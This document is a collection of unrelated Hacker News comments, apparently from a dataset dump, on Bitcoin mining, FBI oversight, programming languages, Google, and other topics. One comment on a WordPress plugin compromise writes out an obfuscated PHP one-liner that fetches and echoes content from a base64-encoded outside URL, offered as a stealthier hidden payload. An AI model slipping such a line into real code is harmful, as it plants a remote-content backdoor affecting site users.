skysight-inc/HackerNews huggingface dataset:
Oversight?

Y'all know the FBI has no direct oversight from Congress, right?

That the oversight happens (theoretically) through the promulgation and enforcement of guidelines from the attorney general?

There are public ones:
http://www.justice.gov/ag/readingroom/guidelines.pdf

and there are also secret ones that are not published.

Occasionally the FBI goes to congress out of the goodness of their heart and gives them an update, to avoid congress getting uppity.

The last 3-4 times this has happened, it's usually been to say "whoops, we've been completely and totally violating our internal guidelines"
I think he missed Richard Branson…
Rottweiler Dog Plays
Are you talking about in the live demo on our site? Or in the installed extension. Because in the context of using the extension in the app, I think it'll make more sense for you.
A Closer Look at Neo4j – the Graph Database
https://ahrefs.com/
> I also find a bit hard to believe that the nickname of an operator is enough to "derive a home address".

An IRC nick is not a mask one hides behind. It is an alternative identifier for a real person whose other personal information may be locatable.
How would scissors invention fit in that reasoning?

I vote for the tooling option or, to be more precise, for a different combination of tooling and features.
It's not a `local` server. The proxy, websocket server and the benchmark utility are all on different servers.
> Trading now is about as high risk as it gets

That exactly what I would have said back in January 2013 when it was at around $34.
I've flirted with Ada over the years. The clean--if somewhat verbose--syntax is appealing and the speed of compiled code is outstanding.

That being said, Ada is not fun to program in. Ada is a perfect language for planners rather than experimenters given that the compiler checks are thorough and at times aggravating. It takes a bit of thinking before starting on any project with Ada, doubly so with SPARK.

Having said the above, while python may be fun to prototype with, I would feel much more comfortable if my airliner's avionics were written in Ada rather than Python, Ruby, or (God-forbid) Perl. Ada is a perfect fit for mission critical applications and that's why it has quietly been doing so well in the field for decades.
>Languages are substantially different. You don't (and can't) understand every concept under the hood to drive the thing. You can't add and substract features, they're interdependent.

All the above are patently false.

-- Most languages in common use are NOT substantially different. Not just obvious things like Java/C#, or F#/Haskell/Ocaml/ML but even C# to Ruby or Objective-C to Javascript are not that different, much less fundamentally.

-- For most languages a lot of good programmers can and DO understand "every concept under the hood" (VM internals, runtime costs, etc).

-- And you sure CAN (and language designers do all the time) add and substract features. They add features from other languages and they remove some to create theirs. And then, when the reach version 2.0 of the language, they cherry pick and add some more features from other languages, or remove out-of-favor features.
0 - not interested (yet)
Electricity is expensive. There is a cost calculator that will show you whether you will break even or not.

I actually wonder if it's better to mine BTC, or buy some solar panels or wind turbines and sell electricity back into the grid instead.
Just to fill out the first four pages a little more:

[Edit] In the US [/Edit] your home and office are most likely already set outside the floodwaters of the 100-year storm. New roads are typically designed to convey floodwaters at no more than 1 foot deep for the same event.

Protecting a building that has a lifespan of less than 100 years against an event with a probability of occurring between .005 to .002 (the 200-year to 500-year event) is a hard sell.
In your estimation, how frequently is venturebeat blogspam? Is it at the same level as forbes.com?
If you are hitting their pay wall every month, may I suggest you subscribe to the Times? You obviously want to read their content at least that much. To get that kind of quality writing isn't free, the writers really have spent years on their craft (a close family member of mine is a journalist). I don't subscribe, but I typically am not interested in their articles more than a couple times each month.
So eventually we will see someone try the 'Goldfinger' plot to wipe a large chunk of coins in order to increase the value of their holdings.
Google depends a lot on your manager. If you have a good manager, then it's still the Old Google and the company is still open to you. With a good manager, you can transfer as you wish, and as long as you don't have a complete don't-give-a-shit attitude toward your assigned project, you're OK no matter how things play.

I'll be the first to say that there are good managers at Google. However, the major reason why people work for large companies is to be protected from the event of a bad manager. Startups fire same-day. Large companies offer transfer for the no-fault "fit" cases. Google does not extend such protection, which means it lacks the one upside of a large company.

That's why I always tell people that if they get a chance to work for Google, they should give it a shot. Nonetheless, their HR infrastructure and executives have failed to do their jobs; that much is clear. The matter of whether that will affect a specific individual is unpredictable.
At the current difficulty its hardly worth it. For example i had a Rig with 3x ATI 6870 running 24/7 in 2011 when Bitcons were around 25$. I think it made about 20-30 USD a day in profit. The same Rig would make $12 today by running 24/7 even at the current BC price of 218$. Subtracting electricity (expensive in europe) profit is fairly minimal and you have to keep the beast somewhere which is very noisy and pumping out hot air.
I think Ireland is a particularly hard switch from the US. They seem to take pride in the lack of signage. Still a great place to visit, though.
But you could then, worst case scenario, lose all Bitcoins in existence. Seems like an unfortunate feature in currency.
Really? Hmm. It has been 5+ years for me, my bad. But what's the point of the ddos's then? I see netflow graphs of huge attacks on major efnet servers on a regular basis.
The risk is that you'll pay more in the electricity bill than you'd get for what you mined. You'd be competing against a crowd that is a step ahead (FPGA) and a few early birds two steps ahead (ASIC). So better first check the current calculations.

I checked a few days ago and it seemed that my 2011 MBP would earn me a few cents per day...
Thanks for the tip. I'm unfortunately not at the point where having a travel agent gives me a good reward but I don't mind doing it myself most of the time. Just fyi both of those site returned prices that were around 1/3 more expensive (up to 500€ more) than cheapflights.ca or http://www.momondo.com/
Programming Skills Most Coveted By Employers
Misleading headline. The 150x was just an anecdote about a particularly pessimal customer code. The only serious number they actually use for comparison to CPU is from the FFT kernel, where they claim 8-10x speedup (but that will be diluted by the amount of time spent outside of the FFT).
It sounds like most people here don't know about Ubuntu Mini:

https://help.ubuntu.com/community/Installation/MinimalCD

It's a 28 Megabyte .iso, installing it gives you a server with around 20-30 MB of RAM usage. I use it for everything, and then install vim and htop and I'm good to go. I haven't noticed anything missing, so it's definitely my go-to install for low-RAM servers or VMs.
Something the OP made up.

To the extent that I've ever heard people talk about "Real Googlers" the criteria have nothing to do with title, level, background or what college you went to.

The criteria are:
1) Get st done
2) Don't be a dick
These benchmarks DO represent meaningful results.

Some benchmarks are designed to measure absolute performance, in order to answer questions like "How many servers should we buy, if we expect to handle X hits/second?" or "What's the limit of our app stack's scalability, in hits/second?" But... the O.P is NOT benchmarking for absolute performance.

But the O.P. here is benchmarking toward a different purpose: comparing relative performance. These tests are designed to answer a totally different kind of question: "Which of these app stacks performs best, given the same hardware budget for each stack?" or "How many extra servers do we need to buy, if we want to use Apache/mod_php instead of Nginx/php-fpm?"

With relative-performance benchmarks, we have to assume that it's valid to extrapolate from small servers to large, and from one server to many. That is, if Ngnix beats Apache by 1000% on a lonely 500MHz Pentium 3 box, what can we predict about NGinx vs. Apache performance on a dozen-strong cluster of quad-core, dual-socket 3.6GHz machines? In more general terms: How well does each application "scale up/out, horizontally"?

The answer depends on the application type and software architecture. For example, most modern web servers are multi-thread/process apps, with minimal shared state in between. Also, modern web stacks generally push cross-request state into a separate datastore layer (if any). As a result, modern web apps tend to scale up linearly, to the performance limits of the datastore layer. Until your database becomes a bottleneck, you can expect that 2x web servers == 2x hits/second.
Just because it's going up doesn't make it any less risky.
Italian Girl "Hot"
I think Bitcoin is going to crash at some point and I am not a very good gambler, I don't have the balls to risk everything on trying to get rich so I'm just staying out of it. I should regret not buying back in early 2011 (when I first saw HN submissions about it) but I know if I had I would have sold as soon as it hit anything close to $20. At least that's what I'm telling myself to make it easier to swallow. Therefore I have bought 0, but I do have 0.05 that someone gifted to me on reddit, which is worth $10 I think.
Something like http://blockchain.info/tree/65591581 ?
> these hold true in all european countries

Last time I checked, Belarus was in Europe.
A fresh new look for the Google Play Store
Why would anyone want to use gtalk over whatsapp? Unlike GTalk whatsapp doesn't store and data mine my conversations for targeted advertising.

Source:

http://www.whatsapp.com/faq/en/general/21864047

"We do not store your chat history on our servers. Chat messages are considered private and are only stored until they are delivered."
The Slow Death of the American Novel
Then how do you explain the discrepancy between dogs and pigs?
A fresh new look for Google Play
Its initial concept of beaming money with Palm Pilots certainly was. What it eventually pivoted and grew into was less so, but I do agree that PayPal played an important role in the evolution of web technologies.

My point remains that we shouldn't be so quick to judge the altruistic intentions of entrepreneurs based on their first ventures; it may be a means to a more noble end. I'm sure many, if not most, aspire to contribute more to society beyond photo sharing apps. In fact, PayPal was voted one of the worst companies when it debuted, so I'm willing to give everyone the benefit of doubt.
Oh, I know I shouldn't. But when you are used to having the light at the near end, you don't look as far ahead for it.

Of course, I learned my lesson and don't expect the system to adapt to me.
For a "hidden" payload, it looks awfully complicated and long. This could've been accomplished with a simple one-liner that would've been easier to hide:

echo @file_get_contents(base64_decode("aHR0cDovL2kuYWF1ci5uZXQvaS5waHA="));

Plus it may have looked like "black magic" to someone not acquainted with @-prefixed functions in PHP and base64 =)

> It’s the fact that the malicious payload found it’s way in the core files. It was then uploaded to the WordPress.org Plugin Repository.

I second this fear.
Many of us would be quick to dismiss this issue (Call me biased, but I don't see this gaining as much "traction" as the crisis we had when RubyGems was compromised) because "PHP is bad and you should feel bad" or "WordPress users can't code", but this is not "a repository is being hacked", this is "a plugin with malicious code has been uploaded ready to be used". This is exactly the same as a npm module handling payments gaining a 20-lines payload sending critical infos to parts unknown when bumping from 1.0.1 to 1.0.2: a plugin developer pushed corrupt code to be used in production (though there is nothing about it, I hope this happened without malice on this person's behalf).

This makes me seriously wonder: how many of us ACTUALLY "dive" into the libraries we use day-to-day in production apps? How many of us read every part of these libraries when we don't need to understand/debug them?

The last time you used Boost Threads, did you read (and understood) their source code? What about Express or Mongoose in your Node.js-powered E-commerce web app? Or your RoR app using Mongoid?

Waiting for input, opinions, advices, best practices and the like.
IOS automation testing: baseline skill for ensuring quality
Just because we haven't realized that risk yet doesn't mean it didn't exist at the time.
Mozilla brands Persona as password killer
I stopped reading when the article cited Gold as one of the roots of the Great Depression. Ha! Yeah, sure.
I wonder how many bitcoins are lost, ie someone mines them, and then loses the information, hard drive crashes, etc. Once they are lost, aren't they lost forever?
Well, no. Mining is as profitable now as it's ever been, since the price is so high. Sure, you won't be mining 1 BTC a day any more, but when 1 BTC is $200 it doesn't matter.

Further, the announcement you linked to (by Butterfly Labs) isn't really all that accurate. They originally promised a ship date of early October. No products have shipped to date, and they've changed the specs and pricing on what they're going to offer a number of times. Some people think they'll never ship anything.

There are, however, other companies who have shipped ASIC mining chips recently, hence the skyrocketing difficulty. At this rate within 6 months it will no longer be profitable to mine bitcoin on GPUs.
That's easy. Except for C++, which is a multi-vendor language.

For all others there is a definitive, used in the overwhelming majority of cases, implementation:

Go: 6g
Java: Oracle JVM
Python: CPython
Ruby: Matz's
Haskell: GHC
...
I agree, you just need to look at the graph:

http://i2.cdn.turner.com/money/dam/assets/130327160138-chart...

That doesn't mean the crash will kill Bitcoin though.
In the longer term, government regulation may do that. A lot of fiscal policy, e.g. high taxes when withdrawing investment from china, or more significantly this [1] are very hard to pull off with something like bitcoin around. Thus it must die.

[1] http://www.bbc.co.uk/news/business-17301032
88.48131
Early adopter, alpaca sock purchaser, conduct all my business pseudo-anonymously over #bitcoin-otc and in forums. No silkroad. I've bought hosting, shell accounts, audio gear, video games, gift cards, etc.
I've sold audio restoration services, video games, custom AudioUnit/VST plugins, sound effects, etc.
I mined a block back when CPU mining was a thing.
Show HN: CSS-based Animation for Native iOS Apps
The street lights were the most confusing thing moving from Germany to the US. The first year or so my heart often jumped when I felt like I was running a red light after turning right on a green.

Now when I go back after driving in the US for 20 years there are a lot of things that seem weird in Germany. Not having right-on-red (and even left on red into one-ways) is a huge plus here. I also think there's too much yielding to the car coming from much smaller streets on the right.
15. Source: http://www.yelp.com/search?find_desc=piano+tuner&find_lo...
Yeah, it's almost like he's making a definition that's impossible to satisfy: the changes in mainstream languages (since 1993!) don't count because the features already existed in academic languages, but the new features in academic languages don't count because they aren't mainstream.
While we were there, one Irish guy asked me if I knew why the roads were so crooked. When I asked why he told me "Because the guys that built them were all drunk". It was good for a laugh.
why don't just install debian.....
Are you just assuming that, or have you actually measured it? With my modest setup (a single Radeon HD 7850, mining only when I'm at work or asleep) I'm currently earning about 0.3 BTC/month, and the electricity only costs me about $5-$10.
Algorithm of the Week: Monte Carlo Methods
Don't listen to these people. If you already have one or multiple decent GPUs you can make money by mining right now. You wont generate many coins (between 0.01 an 0.05 a day) but the price is so high that this is still profitable. Do the calculations though and see how much your electricity costs.

DO NOT buy into the ASIC market right now though. The preorder waits are too long to accurately make ROI calculations, regardless of price. As more ASICs come online the difficulty will rise significantly making it hard to make back the money you spent on your ASIC.
Mining means using electricity today and buying hardware yesterday, which will be paid tomorrow to get coins today. If you're trying to "invest" (probably a bad idea) and anticipate a rise then mine. Otherwise its less risky to buy.

If you're interested in it as a transfer technology (A very wise idea, especially for small-ish international xfers) then just buy/transfer/sell, mining is ridiculous.

For a long time coins were being mined and sold at about the cost of electricity for the most efficient miner. It would be interesting today to see what the premium looks like, probably a pretty scary number. Back when the difficulty factor was a large two digit number I mined a hundred or so BTC in software (not GPU). It's a bit harder now.
Thanks. Seems cool, I just wasn't sure, and phrasing like "Firepad has no server dependencies" had me picturing some advanced WebRTC-based peer syncing or something, which is pretty far-fetched but you never know these days...
Yet at the same time a huge deal maker.
> A disproportionate share of billionaires are engineers.

Thanks, do you have a cite for this? My intuition is still that a much higher fraction of billionaires are business/management types than the general population of people at their intelligence level.
I have no idea, I just noticed that this particular article added very little to the source. It's possible I'm misusing the term?
That article says the problem is with the way SSL is set up on the host in the example, not with scheme relative URIs.
For personal banking in America, there are almost assuredly laws that say it's the bank's responsibility. (Note that the rules are different for businesses.)

I'm still trying to find the reference I mentioned yesterday, the gist of which was that personal banking theft is limited by the number of cash mules who can be recruited. Krebs[1] has many articles about money mules that I hope will lead me to it.

EDIT I found it! [2] "Federal Reserve Regulation E guarantees that US consumers are made whole when their bank passwords are stolen."

[1] http://krebsonsecurity.com/2010/01/top-10-ways-to-get-fired-...

[2] Is Everything We Know About Password-Stealing Wrong?
http://research.microsoft.com/apps/pubs/default.aspx?id=1618...
Thanks, let's hope that holds for the Go #7 program.
Because people help themselves to food, everyone takes like 1/2 meat and then the first six people take 1/2 veg as well. I agree, for single serving meals like sandwiches that are not easily dividable, it makes sense to only have a few vegetarian ones. But those meals are usually at least 60% not-meat for meat-eaters (bread, rice, veggies, whatever). Basically every other meal is not single serving, and the veggie entrees are seen as just another side. It's usually family style.
> Protecting a building that has a lifespan of less than 100 years against an event with a probability of occurring between .005 to .002 (the 200-year to 500-year event) is a hard sell.

Only in America. The Delta Works in the Netherlands are designed for the 2000-year flood. This is the minimum - there are areas that are protected against the 10000-year flood.

This makes sense. It is not normal that densely settled areas are flooded at least once during the human lifespan.
If he disables his JS he very much is one, at least browsing-wise.

Not to mention that the whole entry screams "freak" in lots of places. I mean, how is this at all typical of the average programmer:

"Gibson is an advocate of assembly language programming, and prides himself on writing smaller applications mostly in Intel x86 assembly language"
When I hire someone, I hire them to work on my project.

Google is different, because employees are hired on a whole-company basis, which I think is the right policy. It means there's a uniform hiring bar, instead of the typical big-company dynamic where hiring standards are relaxed to fill less desirable projects.

I agree with you that, in the typical company where one's immediate manager had to fight to make a slot/get budget, leaving at < 12 months is (with some exceptions) a bad behavior. I don't like the concept of "paying dues" but I think that returning the favor is appropriate.
I'm honestly not sure why people still DDOS servers these days. Maybe just fun and games, it is EFnet after all.

Not too long ago there was an ircd exploit that killed servers and split 100% of efnet, which had never happened before. Not to mention its down 50% of its user base from a few years ago. Tough times for efnet.
It you are truly interested in mining with your GPU try litecoin instead. There isn't currently an FPGA or ASIC solution so GPUs are still the most efficient mining hardware. At the time of this post they are trading at ~$4.40 a coin.
It's also better to drive slowly towards your goal than to speed in the wrong direction and never look at your map to get your bearings. After a few side projects that never went anywhere, I spend more time taking walks and just thinking about the direction I'm going and I'm spending less time doing unnecessary work as a result. Sometimes you need a break in able to come back to the project refreshed with a new outlook on things.
I guess it was a good thing I outlined the specific positions I was referring to – otherwise someone might have only made a cursory reading and complained about straw men rather than addressing the problem.
I meant "local" as in "not on the other side of a continent". Here's me pinging a nearby DNS server that's 40 miles away from my desk:

% ping -c 10 -A 4.2.2.1
PING 4.2.2.1 (4.2.2.1) 56(84) bytes of data.
64 bytes from 4.2.2.1: icmp_req=1 ttl=56 time=3.24 ms
64 bytes from 4.2.2.1: icmp_req=2 ttl=56 time=2.88 ms
64 bytes from 4.2.2.1: icmp_req=3 ttl=56 time=2.95 ms
64 bytes from 4.2.2.1: icmp_req=4 ttl=56 time=2.90 ms
64 bytes from 4.2.2.1: icmp_req=5 ttl=56 time=2.95 ms
64 bytes from 4.2.2.1: icmp_req=6 ttl=56 time=2.91 ms
64 bytes from 4.2.2.1: icmp_req=7 ttl=56 time=2.90 ms
64 bytes from 4.2.2.1: icmp_req=8 ttl=56 time=2.87 ms
64 bytes from 4.2.2.1: icmp_req=9 ttl=56 time=2.94 ms
64 bytes from 4.2.2.1: icmp_req=10 ttl=56 time=2.94 ms

--- 4.2.2.1 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 1806ms
rtt min/avg/max/mdev = 2.875/2.952/3.247/0.112 ms, ipg/ewma 200.705/3.019 ms

I can't imagine why a local websocket echo service should be 5x slower that this.
A failed marriage is not exactly rare. You may as well attempt to "discuss" the fact that he married in the first place.
You are not switching to Yeoman if you use grunt, since yeoman uses grunt for all the tasks you mentioned. Yeoman is for quickly setting up and adding common parts to your app. For example, in angular you can create controllers, directives etc. skeletons, based on predefined or your own scaffolds. Using it will only be good if the generator for your app is good.